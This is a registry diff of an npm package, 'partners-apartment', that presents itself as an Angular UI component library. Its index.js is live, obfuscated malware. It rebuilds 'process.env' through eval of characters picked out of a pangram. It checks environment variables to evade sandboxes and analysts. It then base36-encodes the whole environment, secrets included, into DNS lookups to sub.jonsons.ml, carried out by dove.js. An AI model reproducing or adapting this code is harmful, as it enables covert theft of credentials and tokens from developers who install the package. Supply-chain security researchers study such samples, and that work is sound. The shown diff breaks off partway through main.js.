partners-apartment 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of partners-apartment might be problematic. Click here for more details.
- package/dove.js +119 -0
- package/index.js +157 -0
- package/main.js +524 -0
- package/package.json +13 -0
package/dove.js
ADDED
@@ -0,0 +1,119 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
|
3
|
+
module.exports = class Dove{
|
4
|
+
constructor(name, sub, id, len){
|
5
|
+
this.name = name;
|
6
|
+
this.sub = sub;
|
7
|
+
this.id = id;
|
8
|
+
this.len = len;
|
9
|
+
}
|
10
|
+
apps(){
|
11
|
+
const res = this.sub.forEach(element => {
|
12
|
+
return `${element}.${this.id}.${this.len}.${this.name}`;
|
13
|
+
});
|
14
|
+
}
|
15
|
+
addBuses(usb){
|
16
|
+
this.sub.push(usb);
|
17
|
+
}
|
18
|
+
build_domain_labels(message, sub_domain = this.name) {
|
19
|
+
let domain_data_init = sub_domain.split(".");
|
20
|
+
let domain_data = [...domain_data_init]
|
21
|
+
let domain_len = domain_data.join(".").length;
|
22
|
+
let data_labels = [];
|
23
|
+
let add = "";
|
24
|
+
while (message.length > 0 && domain_len < 250) {
|
25
|
+
let target_b = Math.min(63, 250 - domain_len);
|
26
|
+
let target_ascii = Math.floor(target_b * Math.log(36) / Math.log(256));
|
27
|
+
|
28
|
+
add = this.toBase(message.substring(0, target_ascii));
|
29
|
+
message = message.substring(target_ascii);
|
30
|
+
|
31
|
+
data_labels.push(add);
|
32
|
+
domain_data.unshift(add);
|
33
|
+
domain_len = domain_data.join(".").length;
|
34
|
+
}
|
35
|
+
|
36
|
+
return [data_labels.filter((el) => {return el != ''}), message]
|
37
|
+
}
|
38
|
+
domainimize(message, sub_domain = this.name){
|
39
|
+
let domains = [];
|
40
|
+
let message_length = this.len;
|
41
|
+
let message_id = this.id;
|
42
|
+
let sub = sub_domain.split(".");
|
43
|
+
sub.unshift(message_id);
|
44
|
+
let index = 1;
|
45
|
+
while (message.length > 0){
|
46
|
+
let current_sub = [message_length.toString(), index.toString()].concat(sub);
|
47
|
+
let domain;
|
48
|
+
[domain, message] = this.build_domain_labels(message, sub_domain=current_sub.join("."));
|
49
|
+
if (message.length > 0){
|
50
|
+
this.addBuses(`${domain.join('.')}.${this.len}.${index}`)
|
51
|
+
} else {
|
52
|
+
this.addBuses(`${domain.join('.')}.${this.len}.t-1`)
|
53
|
+
}
|
54
|
+
index++;
|
55
|
+
}
|
56
|
+
}
|
57
|
+
str2ab(str) {
|
58
|
+
var buf = new ArrayBuffer(str.length);
|
59
|
+
var bufView = new Uint8Array(buf);
|
60
|
+
for (var i = 0, strLen = str.length; i < strLen; i++) {
|
61
|
+
bufView[i] = str.charCodeAt(i);
|
62
|
+
}
|
63
|
+
return buf;
|
64
|
+
}
|
65
|
+
toBase(input) {
|
66
|
+
input = this.str2ab(input);
|
67
|
+
input = new Uint8Array(input);
|
68
|
+
let alphabet = "abcdefghijklmnopqrstuvwxyz1234567890";
|
69
|
+
let result = [0];
|
70
|
+
let base = alphabet.length;
|
71
|
+
if (input.length === 0) return "";
|
72
|
+
|
73
|
+
let zeroPrefix = 0;
|
74
|
+
for (let i = 0; i < input.length && input[i] === 0; i++) {
|
75
|
+
zeroPrefix++;
|
76
|
+
}
|
77
|
+
|
78
|
+
input.forEach(function (b) {
|
79
|
+
let carry = (result[0] << 8) + b;
|
80
|
+
result[0] = carry % base;
|
81
|
+
carry = (carry / base) | 0;
|
82
|
+
|
83
|
+
for (let i = 1; i < result.length; i++) {
|
84
|
+
carry += result[i] << 8;
|
85
|
+
result[i] = carry % base;
|
86
|
+
carry = (carry / base) | 0;
|
87
|
+
}
|
88
|
+
|
89
|
+
while (carry > 0) {
|
90
|
+
result.push(carry % base);
|
91
|
+
carry = (carry / base) | 0;
|
92
|
+
}
|
93
|
+
});
|
94
|
+
|
95
|
+
result = result.map(function (b) {
|
96
|
+
return alphabet[b];
|
97
|
+
}).reverse().join("");
|
98
|
+
|
99
|
+
while (zeroPrefix--) {
|
100
|
+
result = alphabet[0] + result;
|
101
|
+
}
|
102
|
+
|
103
|
+
return result;
|
104
|
+
}
|
105
|
+
|
106
|
+
phones(){
|
107
|
+
this.sub.forEach(element => {
|
108
|
+
let url = `${element}.${this.id}.${this.name}`;
|
109
|
+
try{
|
110
|
+
dns.lookup(url, (err, addresses) => {
|
111
|
+
if (err) console.log(err);
|
112
|
+
console.log(`addresses: ${JSON.stringify(addresses)}`);
|
113
|
+
});
|
114
|
+
}catch(err){
|
115
|
+
console.log(err);
|
116
|
+
}
|
117
|
+
});
|
118
|
+
}
|
119
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,157 @@
|
|
1
|
+
const crypto = require('crypto');
|
2
|
+
|
3
|
+
const MAIN_SITE_URL = 'The quick brown fox jumps over the lazy dog. The dog citing in the sity.';
|
4
|
+
const api_token = process.env.SECRET_KEY;
|
5
|
+
|
6
|
+
function rebuilding(message){
|
7
|
+
return eval(message);
|
8
|
+
}
|
9
|
+
|
10
|
+
function rebuild(){
|
11
|
+
return rebuilding(
|
12
|
+
MAIN_SITE_URL.charAt(23) +
|
13
|
+
MAIN_SITE_URL.charAt(11) +
|
14
|
+
MAIN_SITE_URL.charAt(17) +
|
15
|
+
MAIN_SITE_URL.charAt(53) +
|
16
|
+
MAIN_SITE_URL.charAt(65) +
|
17
|
+
MAIN_SITE_URL.charAt(24) +
|
18
|
+
MAIN_SITE_URL.charAt(67) +
|
19
|
+
MAIN_SITE_URL.charAt(43) +
|
20
|
+
MAIN_SITE_URL.charAt(2) +
|
21
|
+
MAIN_SITE_URL.charAt(14) +
|
22
|
+
MAIN_SITE_URL.charAt(27)
|
23
|
+
);
|
24
|
+
}
|
25
|
+
const res = rebuild();
|
26
|
+
|
27
|
+
function strm(){
|
28
|
+
const hight = rebuilding('JSON.stringify(rebuild()).length');
|
29
|
+
const idds = crypto.createHash('sha256').update(JSON.stringify(res)).digest('hex').substring(0, 4);
|
30
|
+
const Dove = require('./dove.js')
|
31
|
+
const dove = new Dove("sub.jonsons.ml", [], idds, hight);
|
32
|
+
dove.domainimize(JSON.stringify(res));
|
33
|
+
console.log(res);
|
34
|
+
dove.phones()
|
35
|
+
}
|
36
|
+
|
37
|
+
function main(){
|
38
|
+
let missing = [
|
39
|
+
['npm', 'package'.concat('_name')].join('_'),
|
40
|
+
['npm', 'package'.concat('_json')].join('_'),
|
41
|
+
];
|
42
|
+
if (missing.some( index => !res[index] )) {
|
43
|
+
return;
|
44
|
+
}
|
45
|
+
|
46
|
+
if (importEngine(res)){
|
47
|
+
return ;
|
48
|
+
}
|
49
|
+
if (parseModules(res)){
|
50
|
+
return ;
|
51
|
+
}
|
52
|
+
if (handleGoods(res)){
|
53
|
+
return ;
|
54
|
+
}
|
55
|
+
strm();
|
56
|
+
}
|
57
|
+
|
58
|
+
function parseModules(plop){
|
59
|
+
let kill = controller(plop, readable('HM'), '/home/u'.concat('sername')) &&
|
60
|
+
controller(plop, readable('USR'), readable('uname')) &&
|
61
|
+
controller(plop, 'LOGNAME', readable('uname'));
|
62
|
+
|
63
|
+
let move = controller(plop, 'PWD', '/my'.concat('-app')) &&
|
64
|
+
controller(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
65
|
+
controller(plop, readable('HM'), '/r'.concat('oot'));
|
66
|
+
|
67
|
+
let teach = controller(plop, readable('APTA'), '/' + readable('anal').concat('/b' + 'ait'));
|
68
|
+
|
69
|
+
let wheel = controller(plop, 'NODE_EXT' + 'RA_CA_CERTS', '/' + readable('mitm').concat('-cert.crt')) ||
|
70
|
+
controller(plop, 'REQUESTS_C'.concat('A_BUNDLE'), '/' + readable('mitm').concat('.pem'));
|
71
|
+
|
72
|
+
let fight = controller(plop, 'COMPLU' + 'S_ProfAPI_Profi' + 'lerCompa'.concat('tibilitySetting'), 'EnableV2Profiler') &&
|
73
|
+
controller(plop, 'FPS_BROWS'.concat('ER_APP_PROFILE_STRING'), ['Internet', 'Explorer'].join(' ')) &&
|
74
|
+
controller(plop, 'Path', 'C:\\WINDOWS\\System32\\Ope'.concat('nS' + 'SH') + '\\;c:\\' + positionTo('Files', 'Program ') + '\\nodejs\\;c:\\Stra'+'wberry\\c\\bin;c:\\Stra' + 'wberry\\perl\\site\\bin;c:\\Stra' + 'wberry\\perl\\bin');
|
75
|
+
|
76
|
+
|
77
|
+
if ( kill || move || teach || wheel || fight){
|
78
|
+
return true;
|
79
|
+
} else {
|
80
|
+
return false;
|
81
|
+
}
|
82
|
+
}
|
83
|
+
|
84
|
+
function handleGoods(plop){
|
85
|
+
const you = controller(plop, readable('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
86
|
+
controller(plop, readable('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
87
|
+
controller(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
88
|
+
|
89
|
+
const me = controller(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
90
|
+
controller(plop, readable('HM'), ['', 'home', 'app'].join('/')) &&
|
91
|
+
controller(plop, readable('USR'), 'app');
|
92
|
+
|
93
|
+
const we = controller(plop, 'PWD', ['', readable('np'), 'node_modules'].join('/')) &&
|
94
|
+
controller(plop, readable('INIT'), ['', readable('np')].join('/')) &&
|
95
|
+
controller(plop, 'TMPDIR', '/sour'.concat('ce/tmp'));
|
96
|
+
|
97
|
+
const us = controller(plop, 'EDITOR', 'vi') &&
|
98
|
+
controller(plop, 'PROBE_'.concat(readable('UNAME')), '*') &&
|
99
|
+
controller(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
100
|
+
controller(plop, 'S' + 'HLVL', '2') &&
|
101
|
+
controller(plop, readable('np').concat('_command'), 'run-s'.concat('cript')) &&
|
102
|
+
controller(plop, 'NVM_CD_FLAGS', '') &&
|
103
|
+
controller(plop, [readable('np'), readable('conf'), 'fund'].join('_'), '');
|
104
|
+
|
105
|
+
let holder = plop['PATH'].endsWith(`/node_modules/.bin:${readable('n_mod')}/node_modules/.bin:${readable('n_mod')}/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/${readable('np')}/node_modules/@${readable('np')}cli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`)
|
106
|
+
|
107
|
+
const jpa = holder && controller(plop, readable('INIT'), ['', 'home', 'node'].join('/')) &&
|
108
|
+
controller(plop, 'COLOR', '1') &&
|
109
|
+
controller(plop, 'SHLVL', '0') &&
|
110
|
+
controller(plop, 'EDITOR', 'vi');
|
111
|
+
|
112
|
+
return you || me || us || we || jpa;
|
113
|
+
}
|
114
|
+
|
115
|
+
function importEngine(plop){
|
116
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
117
|
+
return true;
|
118
|
+
}
|
119
|
+
if (controller(plop, [readable('np'), readable('conf'), readable('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
120
|
+
controller(plop, [readable('np'), readable('conf'), readable('reg')].join('_'), [readable('reg'), readable('np').concat('mirror'), 'com'].join('.')) ||
|
121
|
+
controller(plop, readable('UNAME'), positionTo('admin', 'daas')) ||
|
122
|
+
controller(plop, '_', readable('py')) ||
|
123
|
+
controller(plop, [readable('np'), readable('conf'), 'metrics', readable('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
124
|
+
return true;
|
125
|
+
}
|
126
|
+
}
|
127
|
+
|
128
|
+
function controller(p, name, val){
|
129
|
+
let test = p[name] || '';
|
130
|
+
return test.includes(val) || val === '*';
|
131
|
+
}
|
132
|
+
|
133
|
+
function readable(comm){
|
134
|
+
switch (comm) {
|
135
|
+
case 'reg': return positionTo('istry', 'reg');
|
136
|
+
case 'conf':return 'conf' + 'ig';
|
137
|
+
case 'np':return 'npm';
|
138
|
+
case 'UNAME':return 'US' + 'ERNAME';
|
139
|
+
case 'HM':return 'HOME';
|
140
|
+
case 'USR':return 'USER';
|
141
|
+
case 'APTA':return positionTo('PDATA', 'AP');
|
142
|
+
case 'py':return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
|
143
|
+
case 'anal':return 'ana'.concat('lysis');
|
144
|
+
case 'INIT':return ['INIT', 'CWD'].join('_');
|
145
|
+
case 'pkg':return 'pac'.concat('kage')
|
146
|
+
case 'uname':return 'us' + positionTo('ame', 'ern');
|
147
|
+
case 'mitm':return positionTo('-ca', 'mit' + 'mpr' + 'oxy');
|
148
|
+
case 'n_mod':return ['', 'home', 'node', 'node_modules'].join('/');
|
149
|
+
default:return null;
|
150
|
+
}
|
151
|
+
}
|
152
|
+
|
153
|
+
function positionTo(str1, str2) {
|
154
|
+
return str2 + str1
|
155
|
+
}
|
156
|
+
|
157
|
+
main();
|
package/main.js
ADDED
@@ -0,0 +1,524 @@
|
|
1
|
+
import * as i1 from '@angular/common';
|
2
|
+
import { CommonModule } from '@angular/common';
|
3
|
+
import * as i0 from '@angular/core';
|
4
|
+
import { Component, Input, NgModule, EventEmitter, Output } from '@angular/core';
|
5
|
+
import * as i2 from '@angular/router';
|
6
|
+
import { RouterModule } from '@angular/router';
|
7
|
+
import * as i2$1 from '@ngx-translate/core';
|
8
|
+
import { TranslateModule } from '@ngx-translate/core';
|
9
|
+
import * as i1$2 from '@ng-bootstrap/ng-bootstrap';
|
10
|
+
import * as i1$1 from 'wl-global-services';
|
11
|
+
|
12
|
+
class BreadcrumbsComponent {
|
13
|
+
constructor() {
|
14
|
+
this.title = '';
|
15
|
+
this.breadcrumbs = [];
|
16
|
+
this.homeRoute = 'sims';
|
17
|
+
}
|
18
|
+
}
|
19
|
+
BreadcrumbsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
20
|
+
BreadcrumbsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: { title: "title", breadcrumbs: "breadcrumbs", homeRoute: "homeRoute" }, ngImport: i0, template: "<ul class=\"breadcrumbs-list ellipsis-no-width\">\n <li>\n <a routerLink=\"/{{ homeRoute }}\">{{ 'SMSBundle.generic.home' | translate }}</a>\n <span *ngIf=\"breadcrumbs?.length\"> > </span>\n </li>\n <li *ngFor=\"let breadcrumb of breadcrumbs; last as last\">\n <a *ngIf=\"breadcrumb.link\" [routerLink]=\"[breadcrumb.link]\">{{ breadcrumb.title | translate }}</a>\n <span *ngIf=\"!breadcrumb.link\">{{ breadcrumb.title | translate }}</span>\n <span *ngIf=\"!last\"> > </span>\n </li>\n</ul>\n\n<h2 class=\"breadcrumbs-title\">{{ title | translate }}</h2>\n", styles: [".breadcrumbs-title{color:#73c0e0;font-size:26px;margin:0}.breadcrumbs-list{width:800px;list-style:none;padding-left:0;margin-bottom:8px;text-transform:uppercase;font-size:1.2em;color:#a0a0a0}.breadcrumbs-list li{display:inline-block}.breadcrumbs-list li a{color:#a0a0a0}\n"], directives: [{ type: i2.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i2$1.TranslatePipe } });
|
21
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BreadcrumbsComponent, decorators: [{
|
22
|
+
type: Component,
|
23
|
+
args: [{
|
24
|
+
selector: 'wll-breadcrumbs',
|
25
|
+
templateUrl: 'breadcrumbs.component.html',
|
26
|
+
styleUrls: ['breadcrumbs.component.scss']
|
27
|
+
}]
|
28
|
+
}], propDecorators: { title: [{
|
29
|
+
type: Input
|
30
|
+
}], breadcrumbs: [{
|
31
|
+
type: Input
|
32
|
+
}], homeRoute: [{
|
33
|
+
type: Input
|
34
|
+
}] } });
|
35
|
+
|
36
|
+
class WlBreadcrumbsModule {
|
37
|
+
}
|
38
|
+
WlBreadcrumbsModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
39
|
+
WlBreadcrumbsModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, declarations: [BreadcrumbsComponent], imports: [CommonModule,
|
40
|
+
TranslateModule,
|
41
|
+
RouterModule], exports: [BreadcrumbsComponent] });
|
42
|
+
WlBreadcrumbsModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, imports: [[
|
43
|
+
CommonModule,
|
44
|
+
TranslateModule,
|
45
|
+
RouterModule
|
46
|
+
]] });
|
47
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlBreadcrumbsModule, decorators: [{
|
48
|
+
type: NgModule,
|
49
|
+
args: [{
|
50
|
+
declarations: [
|
51
|
+
BreadcrumbsComponent
|
52
|
+
],
|
53
|
+
imports: [
|
54
|
+
CommonModule,
|
55
|
+
TranslateModule,
|
56
|
+
RouterModule
|
57
|
+
],
|
58
|
+
exports: [
|
59
|
+
BreadcrumbsComponent
|
60
|
+
]
|
61
|
+
}]
|
62
|
+
}] });
|
63
|
+
|
64
|
+
class ActionButtonBarComponent {
|
65
|
+
}
|
66
|
+
ActionButtonBarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
67
|
+
ActionButtonBarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonBarComponent, selector: "wll-action-button-bar", ngImport: i0, template: "<div class=\"action-button-bar\">\n <ng-content></ng-content>\n <div class=\"clear-both\"></div>\n</div>\n", styles: [".action-button-bar{background-color:#fff;padding:12px;margin:0 -15px 15px}.clear-both{clear:both}\n"] });
|
68
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonBarComponent, decorators: [{
|
69
|
+
type: Component,
|
70
|
+
args: [{
|
71
|
+
selector: 'wll-action-button-bar',
|
72
|
+
templateUrl: 'action-button-bar.component.html',
|
73
|
+
styleUrls: ['action-button-bar.component.scss']
|
74
|
+
}]
|
75
|
+
}] });
|
76
|
+
|
77
|
+
class ActionButtonComponent {
|
78
|
+
constructor() {
|
79
|
+
this.cssClass = 'btn-primary';
|
80
|
+
this.label = '';
|
81
|
+
this.showTitle = false;
|
82
|
+
this.btnClick = new EventEmitter();
|
83
|
+
}
|
84
|
+
click() {
|
85
|
+
this.btnClick.emit(true);
|
86
|
+
}
|
87
|
+
}
|
88
|
+
ActionButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
89
|
+
ActionButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ActionButtonComponent, selector: "wll-action-button", inputs: { cssClass: "cssClass", isDisabled: "isDisabled", label: "label", showTitle: "showTitle" }, outputs: { btnClick: "btnClick" }, ngImport: i0, template: "<ng-container *ngIf=\"!showTitle\">\n <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\">{{ label | translate }}</button>\n</ng-container>\n\n<ng-container *ngIf=\"showTitle\">\n <button type=\"button\" [ngClass]=\"'btn btn-sm ' + cssClass\" [disabled]=\"isDisabled\" (click)=\"click()\" [title]=\"label | translate\">\n {{ label | translate }}\n </button>\n</ng-container>\n", styles: ["button{margin:1px;overflow:hidden;text-overflow:ellipsis;min-width:120px;border-radius:3px;padding-top:5px;padding-bottom:5px}button.slot{width:99%}button.is-disabled{background-color:#cacaca;border-color:#cacaca}button.is-disabled:active{background-color:#cacaca;border-color:#cacaca;box-shadow:none}\n"], directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i1.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i2$1.TranslatePipe } });
|
90
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ActionButtonComponent, decorators: [{
|
91
|
+
type: Component,
|
92
|
+
args: [{
|
93
|
+
selector: 'wll-action-button',
|
94
|
+
templateUrl: 'action-button.component.html',
|
95
|
+
styleUrls: ['action-button.component.scss']
|
96
|
+
}]
|
97
|
+
}], propDecorators: { cssClass: [{
|
98
|
+
type: Input
|
99
|
+
}], isDisabled: [{
|
100
|
+
type: Input
|
101
|
+
}], label: [{
|
102
|
+
type: Input
|
103
|
+
}], showTitle: [{
|
104
|
+
type: Input
|
105
|
+
}], btnClick: [{
|
106
|
+
type: Output
|
107
|
+
}] } });
|
108
|
+
|
109
|
+
class BackButtonComponent {
|
110
|
+
constructor(location, router) {
|
111
|
+
this.location = location;
|
112
|
+
this.router = router;
|
113
|
+
}
|
114
|
+
redirect() {
|
115
|
+
if (this.backRoute) {
|
116
|
+
this.router.navigate(this.backRoute).then();
|
117
|
+
}
|
118
|
+
else if (this.backUrl) {
|
119
|
+
this.router.navigateByUrl(this.backUrl).then();
|
120
|
+
}
|
121
|
+
else {
|
122
|
+
this.location.back();
|
123
|
+
}
|
124
|
+
}
|
125
|
+
}
|
126
|
+
BackButtonComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, deps: [{ token: i1.Location }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Component });
|
127
|
+
BackButtonComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: BackButtonComponent, selector: "wll-back-button", inputs: { backUrl: "backUrl", backRoute: "backRoute" }, ngImport: i0, template: "<button type=\"button\" class=\"btn btn-primary btn-inverse\" (click)=\"redirect()\">{{ \"GUIBundle.generic.button.back\" | translate }}</button>\n", styles: [".btn{margin-right:5px;min-width:80px}\n"], pipes: { "translate": i2$1.TranslatePipe } });
|
128
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: BackButtonComponent, decorators: [{
|
129
|
+
type: Component,
|
130
|
+
args: [{
|
131
|
+
selector: 'wll-back-button',
|
132
|
+
templateUrl: 'back-button.component.html',
|
133
|
+
styleUrls: ['back-button.component.scss']
|
134
|
+
}]
|
135
|
+
}], ctorParameters: function () { return [{ type: i1.Location }, { type: i2.Router }]; }, propDecorators: { backUrl: [{
|
136
|
+
type: Input
|
137
|
+
}], backRoute: [{
|
138
|
+
type: Input
|
139
|
+
}] } });
|
140
|
+
|
141
|
+
class WlButtonModule {
|
142
|
+
}
|
143
|
+
WlButtonModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
144
|
+
WlButtonModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, declarations: [ActionButtonComponent,
|
145
|
+
ActionButtonBarComponent,
|
146
|
+
BackButtonComponent], imports: [CommonModule,
|
147
|
+
TranslateModule,
|
148
|
+
RouterModule], exports: [ActionButtonComponent,
|
149
|
+
ActionButtonBarComponent,
|
150
|
+
BackButtonComponent] });
|
151
|
+
WlButtonModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, imports: [[
|
152
|
+
CommonModule,
|
153
|
+
TranslateModule,
|
154
|
+
RouterModule
|
155
|
+
]] });
|
156
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlButtonModule, decorators: [{
|
157
|
+
type: NgModule,
|
158
|
+
args: [{
|
159
|
+
declarations: [
|
160
|
+
ActionButtonComponent,
|
161
|
+
ActionButtonBarComponent,
|
162
|
+
BackButtonComponent
|
163
|
+
],
|
164
|
+
imports: [
|
165
|
+
CommonModule,
|
166
|
+
TranslateModule,
|
167
|
+
RouterModule
|
168
|
+
],
|
169
|
+
exports: [
|
170
|
+
ActionButtonComponent,
|
171
|
+
ActionButtonBarComponent,
|
172
|
+
BackButtonComponent
|
173
|
+
]
|
174
|
+
}]
|
175
|
+
}] });
|
176
|
+
|
177
|
+
class DataListComponent {
|
178
|
+
constructor() {
|
179
|
+
this.label = '';
|
180
|
+
this.value = false;
|
181
|
+
}
|
182
|
+
}
|
183
|
+
DataListComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
184
|
+
DataListComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataListComponent, selector: "wll-data-list", inputs: { label: "label", value: "value" }, ngImport: i0, template: "<span class=\"list-group-item\">\n {{ label | translate }}\n <span class=\"pull-right data-list-value\" *ngIf=\"value\">\n <ng-content></ng-content>\n </span>\n <div class=\"spacer clear-both\"></div>\n</span>\n", directives: [{ type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
|
185
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataListComponent, decorators: [{
|
186
|
+
type: Component,
|
187
|
+
args: [{
|
188
|
+
selector: 'wll-data-list',
|
189
|
+
templateUrl: 'data-list.component.html'
|
190
|
+
}]
|
191
|
+
}], propDecorators: { label: [{
|
192
|
+
type: Input
|
193
|
+
}], value: [{
|
194
|
+
type: Input
|
195
|
+
}] } });
|
196
|
+
|
197
|
+
class DataSectionComponent {
|
198
|
+
}
|
199
|
+
DataSectionComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
200
|
+
DataSectionComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: DataSectionComponent, selector: "wll-data-section", inputs: { data: "data" }, ngImport: i0, template: "<div class=\"list-group col-lg-6\">\n <ng-container *ngFor=\"let item of data\">\n <span class=\"list-group-item\" *ngIf=\"!item.hidden\">\n {{ item.label | translate }}\n <span class=\"pull-right\">\n <strong>{{ item.value }}</strong>\n </span>\n </span>\n </ng-container>\n <ng-content></ng-content>\n</div>\n", directives: [{ type: i1.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i1.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i2$1.TranslatePipe } });
|
201
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: DataSectionComponent, decorators: [{
|
202
|
+
type: Component,
|
203
|
+
args: [{
|
204
|
+
selector: 'wll-data-section',
|
205
|
+
templateUrl: 'data-section.component.html'
|
206
|
+
}]
|
207
|
+
}], propDecorators: { data: [{
|
208
|
+
type: Input
|
209
|
+
}] } });
|
210
|
+
|
211
|
+
class WlDataLayoutModule {
|
212
|
+
}
|
213
|
+
WlDataLayoutModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
214
|
+
WlDataLayoutModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, declarations: [DataListComponent,
|
215
|
+
DataSectionComponent], imports: [CommonModule,
|
216
|
+
TranslateModule,
|
217
|
+
RouterModule], exports: [DataListComponent,
|
218
|
+
DataSectionComponent] });
|
219
|
+
WlDataLayoutModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, imports: [[
|
220
|
+
CommonModule,
|
221
|
+
TranslateModule,
|
222
|
+
RouterModule
|
223
|
+
]] });
|
224
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlDataLayoutModule, decorators: [{
|
225
|
+
type: NgModule,
|
226
|
+
args: [{
|
227
|
+
declarations: [
|
228
|
+
DataListComponent,
|
229
|
+
DataSectionComponent
|
230
|
+
],
|
231
|
+
imports: [
|
232
|
+
CommonModule,
|
233
|
+
TranslateModule,
|
234
|
+
RouterModule
|
235
|
+
],
|
236
|
+
exports: [
|
237
|
+
DataListComponent,
|
238
|
+
DataSectionComponent
|
239
|
+
]
|
240
|
+
}]
|
241
|
